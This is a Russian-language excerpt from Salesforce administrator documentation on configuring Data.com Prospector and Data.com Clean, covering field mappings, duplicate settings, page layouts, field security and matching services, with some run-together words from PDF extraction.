• Настраиваемые соотнесенные поля отображаются при выборе настроек заданий по очистке (присвоение пометок,
автоматическое заполнение илиперезапись полей Salesforce) во время соотнесения полей. Стандартные соотнесения
(например, поле Data.com «Тел.» с полем Salesforce «Тел.») не отображаются.

• ПриэкспортерезультатовпоискаData.com заголовкистолбцоввфайле Excel отображаютименасоотнесенныхполей.
Например, еслиполе Data.com «Телефон» соотноситсясполемконтакта «Мобильный», тодляконтактовотображается
заголовок «Мобильный», а не «Телефон».

• При соотнесении пустых полей Data.com некоторым записям Salesforce может быть присвоен статус очистки «Не
найдено».

• ПрисоотнесенииполяData.com снастраиваемымполемSalesforceметканастраиваемогополяотображаетсянастранице
сравнения.

• Чтобыпросмотреть изменения, внесенные в соотнесенияполей, воспользуйтесь контрольнымжурналомнастройки.
Внастройкевведите «Просмотр контрольного журнала настройки» вполе «Быстрый поиск», затемвыберите«Просмотр
контрольногожурнала настройки».
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Стандартные соотнесения полей Data.com и Salesforce

При добавлении записей в Data.com Prospector или обновлении записей в Data.com Clean, некоторые поля Salesforce
получают значения от Data.com. Администраторы Salesforce могут изменять эти сопоставления полей.

Настройка соотнесений полей Data.com и Salesforce

Можно создавать настраиваемые сопоставления, чтобы помещать значенияData.com в определенные поля Salesforce.

Настраиваемое соотнесение полей Data.com и Salesforce

Выможете сопоставлятьнастраиваемыеполяData.comорганизациям, контактамилиинтересам, чтобыдавать торговым
представителям более подробную информацию.

СМ. ТАКЖЕ:

Стандартные соотнесения полей Data.com и Salesforce

Настройка соотнесений полей Data.com и Salesforce

Проверка триггеров и бизнес-правил на совместимость с функцией очистки

Стандартные соотнесения полей Data.com и Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПридобавлениизаписейвData.com ProspectorилиобновлениизаписейвData.com Clean,
некоторые поля Salesforce получают значения от Data.com. Администраторы Salesforce
могут изменять эти сопоставления полей.

Поля по умолчанию доступны в разделеМакеты страницы > Поля для
рассматриваемого объекта.

Организации

Поле организацииПоле Data.com

Годовой доход«Годовой доход»  (в долларах США)*

ОписаниеОписание компании

Номер D-U-N-SНомер D-U-N-S

ФаксНомер факсимиле

Местоположение организацииТип расположения

Адрес отправкиПочтовый адрес**

СотрудникиКоличество сотрудников: всего

СобственностьИндикатор типа собственности

Адрес для счетаОсновной адрес

Имя организацииОсновное официальное имя

Код NAICSОсновной код NAICS

Описание NAICSОсновное описание NAICS

Код SICОсновной код SIC
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Поле организацииПоле Data.com

Описание SICОсновное описание SIC

Торговый стильОсновной торговый стиль

Тел.Номер телефона

Биржевой символБиржевой символ

Веб-сайтURL-адрес

Год началаГод начала

Совет: Невсе поляData.com соотносятся по умолчаниюсо страницей «Организация». Отом, как соотнестибольше
полейData.com сполямистраницы «Организация», см. вразделе «Настройка соотнесенияполейData.com — Salesforce
на странице 1892, а также просмотрите последние примечания к выпуску для поиска соотносимых полей.

Контакты

Поле контактаПоле D&B

Почтовый адресОсновной адрес

Имя организацииОсновное официальное имя

Интересы

Поле интересаПоле D&B

Годовой доход«Годовой доход»* (в долларах США)

ОписаниеОписание компании

Номер D-U-N-S компанииНомер D-U-N-S

Количество сотрудниковКоличество сотрудников: всего

АдресОсновной адрес

КомпанияОсновное официальное имя

* Вынеможетеполучитьдоступкпараметру Annual Revenue поляData.com. Оноиспользуется толькодля заполнения
поля Annual Revenue в Salesforce.
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**Data.com Clean не использует сопоставление Mailing Address для организаций. Оно использует только значение
параметра Основной адрес для обновления организаций.

СМ. ТАКЖЕ:

Настройка соотнесений полей Data.com и Salesforce

Стандартные соотнесения полей Data.com и Salesforce

Настройка соотнесений полей Data.com и Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения Data.com:
• «Настройка

приложения»

Для активации
пользователей Data.com:
• «Управление

внутренними
пользователями»

Для установки пакетов
AppExchange:
• «Загрузка пакетов

AppExchange»

Можно создавать настраиваемые сопоставления, чтобы помещать значения Data.com в
определенные поля Salesforce.

Ниже перечислены условия применения настраиваемых соотнесений полей.

• Записи Data.com добавляются в систему Salesforce.

• Записи Salesforce сопоставляются с записями Data.com и очищаются вручную или
автоматически.

Преждечемизменитьсопоставленияполей, убедитесьв глубокомпониманиипринципов
соотнесения, необходимой подготовки и ожидаемых результатов.

Прим.: Некоторые поля Data.com и Salesforce недоступны. Новое поле Salesforce
доступнодля соотнесения только в том случае, еслииспользует тотже типданных,
чтоистандартноеполе. Например, поле «Описание» может соотноситься сполем,
поддерживающим область подробного текста, длиною не менее 1 000 символов.

1. Вразделе «Настройка» введитенаименованиеобъекта, которыйтребуетсясопоставить
полям Data.com, например, Организации, затем выберитеПоля.

2. ЩелкнитеСоздатьрядомсразделомНастраиваемыеполяисоотнесениядляобъекта,
которому требуется сопоставить поля, например, Настраиваемые поля и
соотнесения для организаций.

3. Совет: Лучше всего создать все поля в объекте, в который вы добавляете поля,
перед их сопоставлением из раздела Администрирование Data.com.

Следуйтешагаммастера «Созданиенастраиваемыхполей». Поокончаниищелкните
Сохранить.

4. В разделе «Настройка» введитеАдминистрирование Data.com, затем щелкните
Сопоставление полей.

5. Найдите поле, которое требуется сопоставить, после чего выберите настраиваемое
сопоставление из поля списка рядом с полем.

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Стандартные соотнесения полей Data.com и Salesforce

Рекомендации по настраиваемому соотнесению полей Data.com и Salesforce
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Настраиваемое соотнесение полей Data.com и Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Вы можете сопоставлять настраиваемые поля Data.com организациям, контактам или
интересам, чтобы давать торговым представителям более подробную информацию.

Организации

Настраиваемыеполямогутиметьлюбоеимя. Рекомендуется, чтобыименанастраиваемых
полей соответствовали именам полей Data.com.

Совет: Создайте настраиваемые поля в объекте, в который вы хотите их добавить,
перед тем как добавить их со страницы «Сопоставление полей» в разделе
«Администрирование» Data.com.

Предлагаемое
имя поля
«Организации»

Знаки после
запятой

ДлинаТипПоле
Data.com

Список
Fortune
1000

04ЧислоСписок
Fortune
1000

S&P 500010ТекстS&P 500

Размер
территории

010ЧислоРазмер
территории

Точность
размера
территории

064ТекстТочность
размера
территории

Единица
измерения

064ТекстЕдиница
измерения

размера
территории

размера
территории

Рост числа
сотрудников

612ЧислоРост числа
сотрудников

Ежегодный
рост доходов

612ЧислоЕжегодный
рост доходов

Количество
сотрудников в

018ЧислоКоличество
сотрудников в

предыдущем
году

предыдущем
году

Доходы за
предыдущий
год

018ВалютаДоходы за
предыдущий
год
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Рекомендации по разрешению повторяющихся записей Data.com в системе Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Организации, использующие модель общего доступа, могут разрешать пользователям
Data.com добавлять повторяющиеся записи организаций, контактов или интересов в
систему Salesforce.

Ниже перечислены рекомендации по изменению настроек повторов.

• Записи считаютсяповторамиприиспользованииодинакового кодаData.com в поле
«Ключ Data.com». Сюда относятся записи, добавленные из Data.com в качестве
контактов и интересов.

• Повторы могут быть разрешены по объекту для всей организации, но не для
отдельныхпользователей. Чтобызапретитьпользователямилипрофилямдобавление
повторов, рекомендуем создать триггер.

• Записи, которые уже хранятся в системе Salesforce, помечаются зеленой точкой ( )
в результатах поиска. Если использование повторов по объекту разрешено
организацией, то данные записи могут быть повторно добавлены любым
пользователем Data.com.

• Записи, добавленные в систему Salesforce из Data.com, помечаются синей галочкой ( ) в результатах поиска. Если
использование повторов по объекту разрешено организацией, то данные записи могут быть повторно добавлены
любымпользователем Data.com. Добавление записивлияетнаостаток записейтолькоприпервомдобавленииданной
записи в систему Salesforce: добавление повторов не влияет на остаток записей.

• Если настройки Data.com разрешают повторы, но организация использует правила, препятствующие созданию
повторяющихся записей, тонеобходимостьблокировкиповторяющейся записибудетопределятьсяповторяющимся
правилом.
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Настройка Data.com Corporate Prospector

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения Data.com
Corporate Prospector:
• «Настройка

приложения»

Продукт Data.com Corporate Prospector предоставляет основные данные Dun & Bradstreet
об организациях и интересах, включая поля «Номер D-U-N-S», «Код NAICS»,
«Торговый стиль» и другое. Способ внедрения данного продукта описан ниже.

Прим.: Чтобыопределить, какойпродуктData.com Prospectorиспользуется в вашей
организации, в меню «Настройка» введите «Лицензии и ограничения» в поле
«Быстрый поиск», затем выберите «Лицензии и ограничения». Просмотрите
раздел «Лицензии Data.com Prospector» на странице «Лицензии и ограничения».
Должно отображаться значение Corporate или Premium.

1. Убедитесь во внедрении Data.com.

2. ВключитефункциюData.com Clean, позволяющуюпользователямвыполнятьручную
очистку записей организаций, контактов и интересов.

3. Добавьте нужные поля и кнопки в макеты страниц организаций, контактов и
интересов.

4. При использовании версии Enterprise Edition, Unlimited Edition или Performance Edition
обновите уровень безопасности поля, чтобы предоставить пользователям доступ к
полям D&B.

Рекомендации по использованию конфигураций
Правила проверки полей, добавленных в результате использования любой версии
продуктаData.com Prospector, продолжают выполняться даже в том случае, если продукт
больше не используется; рекомендуем отключить любые правила проверки, связанные
с данными полями. Поля Data.com Prospector описаны в разделах «Поля организаций» и
«Поля интересов» интерактивной справки Salesforce.
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Настройка Data.com Premium Prospector

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения Data.com
Premium Prospector:
• «Настройка

приложения»

Data.com Premium Prospector — этомодернизированнаяверсияпродуктаData.com Corporate
Prospector. Помимо всехфункцийиполей, доступныхпользователям Data.com Corporate
Prospector, пользователям Data.com Premium Prospector также доступны более
70 дополнительных полей D&B для организаций и интересов Salesforce, добавленных из
Data.com. Подобно пользователям Data.com Corporate Prospector, пользователи Data.com
Premium Prospector такжемогут просматривать ограниченное количество полей D&B для
записей организаций и интересов.

Прим.: Чтобыопределить, какойпродуктData.com Prospectorиспользуется в вашей
организации, в меню «Настройка» введите «Лицензии и ограничения» в поле
«Быстрый поиск», затем выберите «Лицензии и ограничения». Просмотрите
раздел «Лицензии Data.com Prospector» на странице «Лицензии и ограничения».
Должно отображаться значение Corporate или Premium.

Чтобы настроить Data.com Premium Prospector, выполните указанные ниже действия.

1. Убедитесь во внедрении продукта Data.com Prospector.

2. Убедитесь во включениифункции Data.com Clean, позволяющей пользователям
выполнять ручную очистку записей организаций, контактов и интересов.

3. Добавьте нужные поля и кнопки в макеты страниц организаций, контактов и
интересов.

4. При использовании версии Enterprise Edition, Unlimited Edition или Performance Edition
обновите уровень безопасности поля, чтобы предоставить пользователям доступ к
полям D&B.

5. Добавьте вкладку «Компании D&B» в профили пользователей.

6. При необходимости воспользуйтесь стандартным макетом для записей компаний
D&B илинастройтесобственныймакетстраницыспомощьюрасширенногоредактора
макетов страниц.

Рекомендации по использованию конфигураций
• Принеобходимости разрешите пользователямпросмотр и удаление записей компании D&B. Для этого, рекомендуем

назначить полномочия стандартным и настраиваемым профилям.

Назначьте стандартным профилям полномочие «Удаление записей компании D&B» помимо предварительно
назначенного полномочия «Чтение записей компании D&B».

Назначьте настраиваемым профилям оба полномочия «Чтение записей компании D&B» и «Удаление записей
компании D&B».

• Правила проверки полей, добавленных в результате использования любой версии продукта Data.com Prospector,
продолжают выполняться даже в том случае, если продукт больше не используется; рекомендуем отключить любые
правила проверки, связанные с данными полями. Поля Data.com Prospector описаны в разделах «Поля организаций»
и «Поля интересов» интерактивной справки Salesforce.

СМ. ТАКЖЕ:

Получайте высококачественные данные там, где это нужно при помощи Salesforce
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Ограничение доступных действий над результатами поиска Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения Data.com:
• «Настройка

приложения»

ИспользуйтефункциюДобавить в Salesforce иЭкспортировать результаты, чтобы
ограничить набор действий, которые могут выполнять пользователи при помощи
результатовпоискаData.comдляфункцийData.com, в которыхиспользуютсярезультаты
поиска.

Внимание: Изменение настроек кнопок влияет на все функции, связанные с
разделами «Поиск контактов» и «Поиск организаций». Например, если снять
флажок Добавить в Salesforce в разделе «Поиск организаций», то функция
добавления организаций будет отключена в иерархии компании.

1. Введите строку «Настройки» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Настройки Prospector».

2. Снимите соответствующиефлажки в разделе «Настройки кнопок» открывшейся
страницы.

Использование параметров сокрытия контактных данных в результатах поиска и
экспортах Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения Data.com:
• «Настройка

приложения»

РезультатыпоискаData.comифайлыэкспортапозволяютскрыватьнекоторыеконтактные
данные.

Например, пользователи могут скрывать или удалять:

• телефоны и адреса эл. почты текущих контактов и интересов Salesforce, для которых
выбран параметр «Не звонить» или «Без рассылки по эл. почте»;

• адреса эл. почтывсех контактовиинтересов с канадскимиадресами (для выполнения
требований по конфиденциальности, применяемых в Канаде).

Например: Алексею Кузнецову соответствует запись интереса Salesforce, для которой
установленфлажок «Не звонить». В результате поиска контакта Алексей Кузнецов на
вкладкеData.comотображается запись, помеченнаязначком , соответствующимзаписи,
которая уже доступна в системе Salesforce. При это поле «Телефон» не отображается в
списке результатов поиска и бизнес-карточке Алексея. При экспорте записи поле
«Телефон» содержит пустое значение в CSV-файле.

1. Введите строку «Настройки» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Настройки Prospector».

2. Установите флажок «Использовать параметры сокрытия контактных данных и
требования по конфиденциальности, применяемые в Канаде».
Еслизаписиотмеченыфлажком «Не звонить» или «Без рассылки по эл. почте»,
то значения поля «Телефон» или «Эл. почта» не отображаются в результатах
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поиска и бизнес-карточках, а также отсутствуют в CSV-файлах, созданных во время экспорта записей. Если записи
содержат канадские адреса, то значенияполя «Эл. почта» неотображаются врезультатахпоискаибизнес-карточках,
а также отсутствуют в CSV-файлах, созданных во время экспорта записей.

СМ. ТАКЖЕ:

Рекомендации по поиску компаний и контактов для последующего использования в других приложениях

Поиск данных по контактам и данным интересов для последующего использования в других приложениях

Рекомендации по предоставлению пользователям возможности искать сведения о
компаниях, контактах и интересах с помощью средства Data.com Prospector

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Продукт Data.com Prospector доступен в двух версиях. Каждая позволяет искать данные
в Data.com и добавлять туда данные. Ознакомьтесь с некоторыми рекомендациями по
внедрению обеих версий.

Прим.: Еслипоисквозвращаетмногорезультатов, тоотображаютсятолькопервые
10 страниц. Чтобывключитьвозможностьнеограниченногопросмотра, обратитесь
в службу поддержки Salesforce.

• Если вы за один раз добавите в систему Salesforce более 200 интересов, то правила
назначения интересов, заданные в организации, не выполняются. Чтобы
гарантироватьвыполнениеправилназначенияинтересов, сообщитепользователям
о том, что заодинразможетбытьдобавленонеболее 200 интересующихсяклиентов.

• Есливорганизациииспользуютсяправилапроверкиполей, соотнесенныхсполями
Data.com, отмените выполнение этих правил или убедитесь в полном соответствии
имен полей, чтобы избежать возникновения ошибок при добавлении записей.

Настройка функции Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для внедрения функции Data.com Clean:

«Управление внутреннимипользователями»Для включения пользователей функции
Data.com Clean:

«Автор Apex»Для определения триггеров:

«Настройка приложения»Для определения бизнес-правил:

«Загрузка пакетов AppExchange»Для установки пакетов AppExchange:
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Эффективность вашего бизнеса определяется качеством используемых данных. Хотите тратить меньше времени на
обновление и дополнение данных и больше — на развитие бизнеса. Просто настройте и внедрите функцию очистки
Data.com, После этого ваши записи Salesforce всегда будут полными и актуальными.

Прим.: ПрииспользованииData.com Prospector совместно сфункциейочистки Data.comрекомендуемпросмотреть
раздел «Настройка Data.com Prospector» на странице 1882.

1. Проверка включения функции очистки Data.com

Данный раздел содержит рекомендации по включениюфункции очистки Data.com, позволяющей гарантировать
актуальность записей организации.

2. Настройка макетов страниц для продукта Data.com Prospector и функции Data.com Clean

Чтобы предоставить пользователям доступ к продукту Data.com Prospector и функции Data.com Clean, рекомендуем
добавить соответствующиекнопкииполя вмакетыстраницорганизаций, контактовиинтересов. Прииспользовании
Data.com Premium Prospector или Data.com Premium Clean рекомендуем дополнить макеты страниц компаний D&B
кнопкой, позволяющей обновлять связанные записи компаний D&B.

3. Настройка безопасности полей для Data.com

ПрииспользованиипродуктаData.com ProspectorилифункцииData.com Clean записиорганизацийсодержатнекоторые
поля D&B; данные поля добавляются при ручной очистке записей. Чтобы предоставить пользователям полномочия
чтенияиредактированияполейиих значений, а также гарантироватьихотображениевбизнес-карточкеорганизации,
рекомендуем настроить параметры безопасности полей.

4. Определите собственные параметры и выберите службу сопоставления организаций для Data.com Clean

Настройки очистки позволяют выбирать объекты, записи которых подлежат очистке, а также способы их очистки.
К ним также относится выбор службы сопоставления, используемой для очистки данных организаций.

5. Настройка заданий Data.com Clean

ПриналичиилицензииData.com Cleanимеется возможностьнастроить автоматические задания для очистки записей.

6. Проверка триггеров и бизнес-правил на совместимость с функцией очистки
Если организация использует триггеры или бизнес-правила для объектов, поддерживающихфункцию очистки
(«Организация», «Контакт», «Интерес» или «Компания D&B»), то триггеры и бизнес-правила должны быть проверены
на предмет внесения поправок или отмены их выполнения во избежание непредвиденных результатов при очистке
записей.

7. Настройка списковых представлений для функции Data.com Clean

Прежде чем разрешить пользователям функции Data.com Clean очистку записей из списка, рекомендуем добавить
поле «Статус очистки» в списковые представления организации.

8. Определение степени очистки организаций
При использованиифункции Data.com Clean можно проверить «Статус очистки» всех организаций с помощью
простого отчета «Организации по статусу очистки».

9. Определение эффективности работы функции Data.com Clean

Страница «Аналитика и показатели Data.com Clean» содержит подробные сведения о сопоставлении и обновлении
организаций, контактов и интересов данными Data.com. Рекомендуем регулярно проверять уровни совпадения и
обновления записей.

10. Составление отчетов по записям Salesforce с конкретным статусом очистки Data.com

Чтобыпросмотреть записиорганизаций, контактовилиинтересов Salesforce, содержащиеконкретныйстатусочистки
(например, «Отличается»), рекомендуем создать настраиваемый отчет.
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11. Настройка правил очистки
Предоставьте возможность своим группам сбыта и маркетинга сохранять успешные отношения с клиентами и
отслеживатьнаиболееперспективныеинтересыивозможностипутемавтоматическогодобавленияновейшихданных
в организации, контакты и интересы Salesforce. Это можно сделать с помощью правил очистки Data.com.

12. Определение количества записей, нуждающихся в информационном пополнении
«Оценки данных Data.com» — это бесплатный пакет AppExchange от компании Salesforce, позволяющий определять
количество записей, котороеорганизацияможет дополнитьпосредствомданныхData.com. Данныйпакет определяет
количество записей, помеченных статусом «Неактивно» вData.com, и количество повторяющихся записей Salesforce
(запрашивается пользователем отдельно).

13. Рекомендации по обеспечению полноты и актуальности записей организации с помощьюфункции Data.com Clean

Нижеперечисленынекоторыесоветыирекомендацииповнедрению, контролюииспользованиюфункцииData.com
Clean.

СМ. ТАКЖЕ:

Data.com Clean
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Проверка включения функции очистки Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения или
отключения функции
очистки Data.com Clean:
• «Настройка

приложения»

Данный раздел содержит рекомендации по включениюфункции очистки Data.com,
позволяющей гарантировать актуальность записей организации.

Функция очистки Data.com обеспечивает наличие самых последних данных в записях
CRM. Функцияочисткиможетприменятьсяковсеморганизациям, контактамиинтересам,
а не только к записям, добавленным из Data.com. При приобретении продукта Data.com
функция очистки включается автоматически, позволяя администраторам настраивать
автоматические задания по очистке, а пользователям — выполнять ручную очистку
отдельных записей или пакетную очистку записей в списковом представлении.

Врезультатевключенияфункцииочистки Data.com пользователиорганизацииполучают
доступ к функциям очистки, а меню «Настройка» дополняется разделом «Очистить»,
содержащим ссылки «Настройки» и «Задания».

Прим.: Включение функции очистки не приводит к незамедлительной очистке
записей. Чтобы отключить даннуюфункцию, нажмите кнопку «Отключить».

1. Вменю «Настройка» введите «Параметры очистки» в поле «Быстрый поиск», затем
выберите «Параметры очистки».

2. Убедитесь, что функция Data.com Clean включена.

СМ. ТАКЖЕ:

Data.com Clean

Настройка функции Data.com Clean
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Настройка макетов страниц для продукта Data.com Prospector и функции Data.com
Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Чтобы предоставить пользователям доступ к продукту Data.com Prospector и функции
Data.com Clean, рекомендуемдобавить соответствующиекнопкииполя вмакетыстраниц
организаций, контактов и интересов. При использовании Data.com Premium Prospector
или Data.com Premium Clean рекомендуем дополнить макеты страниц компаний D&B
кнопкой, позволяющей обновлять связанные записи компаний D&B.

Прим.: Еслиорганизацияиспользует версию Professional Edition, тонастраиваемые
макетыстраниципараметрыбезопасностиполянедоступны, поэтому вседоступные
кнопкииполяData.comдолжныбытьдобавленывмакет страницыкаждогообъекта
(организации, контакты, интересы и компании D&B).

1. В настройках управления объектами организаций перейдите в раздел «Макеты
страниц».

2. Щелкните ссылку «Правка» напротив нужных макетов в списке макетов страниц.

3. Выберите категорию «Поля» в списке категорий элементов страницы на странице
«Макет организации».

4. Перетащите поле «Статус очистки» в нужную область страницы.

5. При использовании продукта Data.com Corporate Prospector или Data.com Premium
Prospector добавьте нужные поля D&B. К этим полям относятся: «Местоположение
организации», «Номер D-U-N-S», «Код NAICS», «Торговый стиль» и т. д.
Полный список полей D&B, доступных для организаций, см. в разделе «Поля
организаций».

Совет: Рекомендуем создать раздел для полей D&B, позволяющий выполнять
их группирование. Чтобы создать раздел, перетащите элемент «Раздел» из
категории «Поля» в нужную область страницы.

6. Чтобыразрешитьпользователямобновлениезаписейкомпаний D&B, добавьтекнопку
«Обновить» в макеты страниц компаний D&B.

7. При использовании правила проверки «Do Not Auto-Update», доступного в пакете
AppExchange «Отчеты Data.com», добавьте поле «Data.com Does Not
Auto-Update».

8. Выберитекатегорию«Кнопки»вспискекатегорийэлементовстраницы. Перетащите
кнопки «Очистить», «Извлечь контакты», «Подробные сведения о поиске потенциальных клиентов» и
«Иерархия компаний»* в нужную область страницы.
*Доступно только при наличии лицензии Data.com Premium Prospector

9. Нажмите кнопку «Сохранить».

10. В настройках управления объектами интересов перейдите в раздел «Макеты страниц».

11. Повторите действия по добавлению поля «Статус очистки» и кнопки «Очистить» в макеты страниц интересов.

12. При использовании продукта Data.com Corporate Prospector добавьте поле «Номер D-U-N-S компании». При
использовании продукта Data.com Premium Prospector добавьте поля «Номер D-U-N-S компании» и «Компания
D&B».
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13. При использовании правила проверки «Do Not Auto-Update», доступного в пакете AppExchange «Отчеты Data.com»,
добавьте поле «Data.com Does Not Auto-Update».

14. В настройках управления объектами контактов перейдите в раздел «Макеты страниц».

15. Повторите действия по добавлению поля «Статус очистки» и кнопки «Очистить» в макеты страниц контактов.
(Контакты не содержат полей D&B.)

16. При использовании правила проверки «Do Not Auto-Update», доступного в пакете AppExchange «Отчеты Data.com»,
добавьте поле «Data.com Does Not Auto-Update».

17. ЕслииспользуетсяData.com Premium Prospector, внастройкахуправлениякомпаниями D&B перейдитекразделу «Макеты
страниц».

18. Добавьте кнопку «Поиск номера D-U-N-S глобального головного подразделения».

СМ. ТАКЖЕ:

Настройка функции Data.com Clean

Отмена обновления записей при выполнении заданий Data.com Clean

Поиск по параметрам управления объектами

Настройка безопасности полей для Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
безопасности поля:
• «Настройка

приложения»

При использовании продукта Data.com Prospector или функции Data.com Clean записи
организаций содержат некоторые поля D&B; данные поля добавляются при ручной
очистке записей. Чтобы предоставить пользователям полномочия чтения и
редактирования полей и их значений, а также гарантировать их отображение в
бизнес-карточке организации, рекомендуемнастроитьпараметрыбезопасностиполей.

Настройте параметры безопасности для перечисленных ниже полей.

• Местоположение организации

• Компания D&B  (только Data.com Premium Prospector)

• Номер D-U-N-S

• Код NAICS

• Описание NAICS

• Ответственность

• Код SIC

• Биржевой символ

• Торговый стиль

• Год начала

Безопасность полей может быть настроена несколькими способами (например, посредством профиля или набора
полномочий), однако, чтобы настроить параметры безопасности поля только для 10 полей, рекомендуем начать с полей
и выбрать профили для пользователей Data.com.

1. В настройках управления организациями перейдите в раздел полей.

2. Чтобы открыть страницу сведений о каждом поле, щелкните метку нужного поля.

3. Нажмите кнопку «Настроить параметры безопасности полей» на каждой странице сведений. Установите флажок
«Доступно» напротив каждого профиля, пользователям которого должныбыть предоставленыполномочия чтения
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и редактирования полей. Например, чтобы предоставить пользователям с профилем «Стандартный пользователь»
доступ к функции очистки Data.com Clean, установите флажок «Доступно» напротив этого профиля.

Прим.: ДанныеполяобрабатываютсяфункциейочисткиData.com Clean, поэтомуфлажок«Доступно», установленный
в параметрах безопасности поля, предоставляет доступ для редактирования, а также может инициировать создание
несогласованных данных во время очистки.

СМ. ТАКЖЕ:

Настройка функции Data.com Clean

Поиск по параметрам управления объектами

Определите собственные параметры и выберите службу сопоставления организаций
для Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения Data.com:
• «Настройка

приложения»

Настройки очистки позволяют выбирать объекты, записи которых подлежат очистке,
а также способы их очистки. К ним также относится выбор службы сопоставления,
используемой для очистки данных организаций.

Выбрать настройки для заданий можно только при наличии в организации лицензии
Data.com Clean.

1. Просмотрите рекомендации по выбору службы сопоставления, используемой для
очистки данных организаций.

2. Введите строку «Настройки» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Настройки» в разделе «Очистка».

3. Выберите службу сопоставления для очистки данных организаций. При выборе
службы сопоставления DUNSRight™ измените код достоверности соответствующим
образом.
Код достоверности D&B оценивает возможные совпадения Data.com на основе
схожести записей по шкале от «1» (записи не похожи) до «10» (записи идентичны
или очень похожи). ЗаписиData.com, код которых не превышает выбранный код, не
подлежат автоматическому сопоставлению. При наличии нескольких записей,
соответствующих выбранному коду, совпадением считается запись наилучшего
качества. При очистке записи вручную совпадение может быть выбрано, если
использует код достоверности от (5) до заданного пользователем значения.

4. Просмотрите рекомендации по выбору настроек задания.

